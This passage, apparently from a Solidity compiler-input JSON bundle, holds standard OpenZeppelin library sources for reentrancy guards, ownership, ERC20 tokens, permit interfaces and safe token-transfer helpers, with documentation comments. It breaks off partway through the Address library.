Requirements:\n *\n * - The contract must be paused.\n */\n function _unpause() internal virtual whenPaused {\n _paused = false;\n emit Unpaused(_msgSender());\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[49] private __gap;\n}\n"
},
"@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)\n\npragma solidity ^0.8.0;\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Contract module that helps prevent reentrant calls to a function.\n *\n * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier\n * available, which can be applied to functions to make sure there are no nested\n * (reentrant) calls to them.\n *\n * Note that because there is a single `nonReentrant` guard, functions marked as\n * `nonReentrant` may not call one another. This can be worked around by making\n * those functions `private`, and then adding `external` `nonReentrant` entry\n * points to them.\n *\n * TIP: If you would like to learn more about reentrancy and alternative ways\n * to protect against it, check out our blog post\n * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].\n */\nabstract contract ReentrancyGuardUpgradeable is Initializable {\n // Booleans are more expensive than uint256 or any type that takes up a full\n // word because each write operation emits an extra SLOAD to first read the\n // slot's contents, replace the bits taken up by the boolean, and then write\n // back. This is the compiler's defense against contract upgrades and\n // pointer aliasing, and it cannot be disabled.\n\n // The values being non-zero value makes deployment a bit more expensive,\n // but in exchange the refund on every call to nonReentrant will be lower in\n // amount. Since refunds are capped to a percentage of the total\n // transaction's gas, it is best to keep them low in cases like this one, to\n // increase the likelihood of the full refund coming into effect.\n uint256 private constant _NOT_ENTERED = 1;\n uint256 private constant _ENTERED = 2;\n\n uint256 private _status;\n\n function __ReentrancyGuard_init() internal onlyInitializing {\n __ReentrancyGuard_init_unchained();\n }\n\n function __ReentrancyGuard_init_unchained() internal onlyInitializing {\n _status = _NOT_ENTERED;\n }\n\n /**\n * @dev Prevents a contract from calling itself, directly or indirectly.\n * Calling a `nonReentrant` function from another `nonReentrant`\n * function is not supported. It is possible to prevent this from happening\n * by making the `nonReentrant` function external, and making it call a\n * `private` function that does the actual work.\n */\n modifier nonReentrant() {\n // On the first call to nonReentrant, _notEntered will be true\n require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\");\n\n // Any calls to nonReentrant after this point will fail\n _status = _ENTERED;\n\n _;\n\n // By storing the original value once again, a refund is triggered (see\n // https://eips.ethereum.org/EIPS/eip-2200)\n _status = _NOT_ENTERED;\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[49] private __gap;\n}\n"
},
"@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary AddressUpgradeable {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract ContextUpgradeable is Initializable {\n function __Context_init() internal onlyInitializing {\n }\n\n function __Context_init_unchained() internal onlyInitializing {\n }\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[50] private __gap;\n}\n"
},
"@openzeppelin/contracts/access/Ownable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/Context.sol\";\n\n/**\n * @dev Contract module which provides a basic access control mechanism, where\n * there is an account (an owner) that can be granted exclusive access to\n * specific functions.\n *\n * By default, the owner account will be the one that deploys the contract. This\n * can later be changed with {transferOwnership}.\n *\n * This module is used through inheritance. It will make available the modifier\n * `onlyOwner`, which can be applied to your functions to restrict their use to\n * the owner.\n */\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n /**\n * @dev Initializes the contract setting the deployer as the initial owner.\n */\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n /**\n * @dev Throws if called by any account other than the owner.\n */\n modifier onlyOwner() {\n _checkOwner();\n _;\n }\n\n /**\n * @dev Returns the address of the current owner.\n */\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n /**\n * @dev Throws if the sender is not the owner.\n */\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n /**\n * @dev Leaves the contract without owner. It will not be possible to call\n * `onlyOwner` functions anymore. Can only be called by the current owner.\n *\n * NOTE: Renouncing ownership will leave the contract without an owner,\n * thereby removing any functionality that is only available to the owner.\n */\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Can only be called by the current owner.\n */\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(newOwner != address(0), \"Ownable: new owner is the zero address\");\n _transferOwnership(newOwner);\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Internal function without access restriction.\n */\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC20/ERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC20.sol\";\nimport \"./extensions/IERC20Metadata.sol\";\nimport \"../../utils/Context.sol\";\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n * For a generic mechanism see {ERC20PresetMinterPauser}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * We have followed general OpenZeppelin Contracts guidelines: functions revert\n * instead returning `false` on failure. This behavior is nonetheless\n * conventional and does not conflict with the expectations of ERC20\n * applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n *\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\n * functions have been added to mitigate the well-known issues around setting\n * allowances. See {IERC20-approve}.\n */\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n /**\n * @dev Sets the values for {name} and {symbol}.\n *\n * The default value of {decimals} is 18. To select a different value for\n * {decimals} you should overload it.\n *\n * All two of these values are immutable: they can only be set once during\n * construction.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5.05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\n * overridden;\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - the caller must have a balance of at least `amount`.\n */\n function transfer(address to, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n /**\n * @dev See {IERC20-approve}.\n *\n * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on\n * `transferFrom`. This is semantically equivalent to an infinite approval.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * NOTE: Does not update the allowance if the current allowance\n * is the maximum `uint256`.\n *\n * Requirements:\n *\n * - `from` and `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n * - the caller must have allowance for ``from``'s tokens of at least\n * `amount`.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n /**\n * @dev Atomically increases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n /**\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `spender` must have allowance for the caller of at least\n * `subtractedValue`.\n */\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n /**\n * @dev Moves `amount` of tokens from `from` to `to`.\n *\n * This internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n */\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(fromBalance >= amount, \"ERC20: transfer amount exceeds balance\");\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\n * the total supply.\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n /**\n * @dev Destroys `amount` tokens from `account`, reducing the\n * total supply.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n * - `account` must have at least `amount` tokens.\n */\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\n *\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n */\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n /**\n * @dev Updates `owner` s allowance for `spender` based on spent `amount`.\n *\n * Does not update the allowance amount in case of infinite allowance.\n * Revert if not enough allowance is available.\n *\n * Might emit an {Approval} event.\n */\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(currentAllowance >= amount, \"ERC20: insufficient allowance\");\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n /**\n * @dev Hook that is called before any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * will be transferred to `to`.\n * - when `from` is zero, `amount` tokens will be minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * has been transferred to `to`.\n * - when `from` is zero, `amount` tokens have been minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens have been burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/draft-IERC20Permit.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in\n * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].\n *\n * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by\n * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't\n * need to send a transaction, and thus is not required to hold Ether at all.\n */\ninterface IERC20Permit {\n /**\n * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,\n * given ``owner``'s signed approval.\n *\n * IMPORTANT: The same issues {IERC20-approve} has related to transaction\n * ordering also apply here.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `deadline` must be a timestamp in the future.\n * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`\n * over the EIP712-formatted function arguments.\n * - the signature must use ``owner``'s current nonce (see {nonces}).\n *\n * For more information on the signature format, see the\n * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP\n * section].\n */\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n /**\n * @dev Returns the current nonce for `owner`. This value must be\n * included whenever a signature is generated for {permit}.\n *\n * Every successful call to {permit} increases ``owner``'s nonce by one. This\n * prevents a signature from being used multiple times.\n */\n function nonces(address owner) external view returns (uint256);\n\n /**\n * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.\n */\n // solhint-disable-next-line func-name-mixedcase\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n *\n * _Available since v4.1._\n */\ninterface IERC20Metadata is IERC20 {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/utils/SafeERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\nimport \"../extensions/draft-IERC20Permit.sol\";\nimport \"../../../utils/Address.sol\";\n\n/**\n * @title SafeERC20\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\n * contract returns false). Tokens that return no value (and instead revert or\n * throw on failure) are also supported, non-reverting calls are assumed to be\n * successful.\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\n */\nlibrary SafeERC20 {\n using Address for address;\n\n function safeTransfer(\n IERC20 token,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\n }\n\n function safeTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\n }\n\n /**\n * @dev Deprecated. This function has issues similar to the ones found in\n * {IERC20-approve}, and its usage is discouraged.\n *\n * Whenever possible, use {safeIncreaseAllowance} and\n * {safeDecreaseAllowance} instead.\n */\n function safeApprove(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n // safeApprove should only be called when setting an initial allowance,\n // or when resetting it to zero. To increase and decrease it, use\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\n }\n\n function safeIncreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n uint256 newAllowance = token.allowance(address(this), spender) + value;\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n }\n\n function safeDecreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n unchecked {\n uint256 oldAllowance = token.allowance(address(this), spender);\n require(oldAllowance >= value, \"SafeERC20: decreased allowance below zero\");\n uint256 newAllowance = oldAllowance - value;\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n }\n }\n\n function safePermit(\n IERC20Permit token,\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal {\n uint256 nonceBefore = token.nonces(owner);\n token.permit(owner, spender, value, deadline, v, r, s);\n uint256 nonceAfter = token.nonces(owner);\n require(nonceAfter == nonceBefore + 1, \"SafeERC20: permit did not succeed\");\n }\n\n /**\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n */\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that\n // the target address contains contract code and also asserts for success in the low-level call.\n\n bytes memory returndata = address(token).functionCall(data, \"SafeERC20: low-level call failed\");\n if (returndata.length > 0) {\n // Return data is optional\n require(abi.decode(returndata, (bool)), \"SafeERC20: ERC20 operation did not succeed\");\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n 